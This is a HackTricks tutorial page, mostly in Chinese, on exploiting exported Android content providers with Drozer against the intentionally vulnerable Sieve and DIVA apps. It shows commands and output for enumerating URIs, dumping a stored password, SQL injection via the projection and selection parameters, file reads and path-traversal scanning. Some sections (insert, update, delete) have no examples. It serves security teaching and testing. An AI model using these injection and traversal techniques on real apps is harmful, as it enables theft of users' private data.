Exploiting Content Providers

利用内容提供程序

从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

简介

数据通过称为内容提供程序的组件根据请求从一个应用程序提供给另一个应用程序。这些请求通过ContentResolver 类的方法进行管理。内容提供程序可以将其数据存储在各种位置,如数据库文件或通过网络

Manifest.xml 文件中,需要声明内容提供程序。例如:

<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>

要访问 content://com.mwr.example.sieve.DBContentProvider/Keys,需要 READ_KEYS 权限。有趣的是,路径 /Keys/ 在下面的部分是可访问的,这是因为开发人员的错误,他们保护了 /Keys 但声明了 /Keys/

也许您可以访问私人数据或利用一些漏洞(SQL注入或路径遍历)。

暴露的内容提供者获取信息

dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False

可以通过以“content://”开头的URI来拼凑出如何访问DBContentProvider。这种方法基于使用Drozer获得的见解,关键信息位于_/Keys_目录中。

Drozer可以猜测并尝试多个URI

dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

你还应该检查ContentProvider代码以搜索查询:

另外,如果找不到完整的查询,你可以检查ContentProvider在onCreate方法中声明的名称

查询将类似于:content://name.of.package.class/declared_name

基于数据库的Content Providers

很可能大多数Content Providers被用作数据库接口。因此,如果你可以访问它,你就可以提取、更新、插入和删除信息。 检查是否可以访问敏感信息,或尝试将其更改以绕过授权机制。

在检查Content Provider的代码时,还要查找名为:_query、insert、update和delete_的函数

因为你将能够调用它们

查询内容

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com

插入内容

查询数据库,您将了解列的名称,然后,您可以将数据插入到数据库中:

请注意,在插入和更新时,您可以使用--string表示字符串,--double表示双精度,--float,--integer,--long,--short,--boolean

更新内容

知道列的名称后,您也可以修改条目

删除内容

SQL注入

通过操纵传递给内容提供程序的投影选择字段,可以简单地测试SQL注入**(SQLite)**。 在查询内容提供程序时,有两个有趣的参数可用于搜索信息:--selection--projection

您可以尝试滥用这些参数来测试SQL注入

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... |
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |

Drozer自动发现SQL注入

dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence

基于文件系统的内容提供程序

内容提供程序也可以用于访问文件:

读取文件

您可以从内容提供程序中读取文件

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

路径遍历

如果您可以访问文件,可以尝试滥用路径遍历(在这种情况下这并非必要,但您可以尝试使用"../"和类似的技巧)。

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Drozer自动发现路径遍历

dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider

参考资料

从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

最后更新于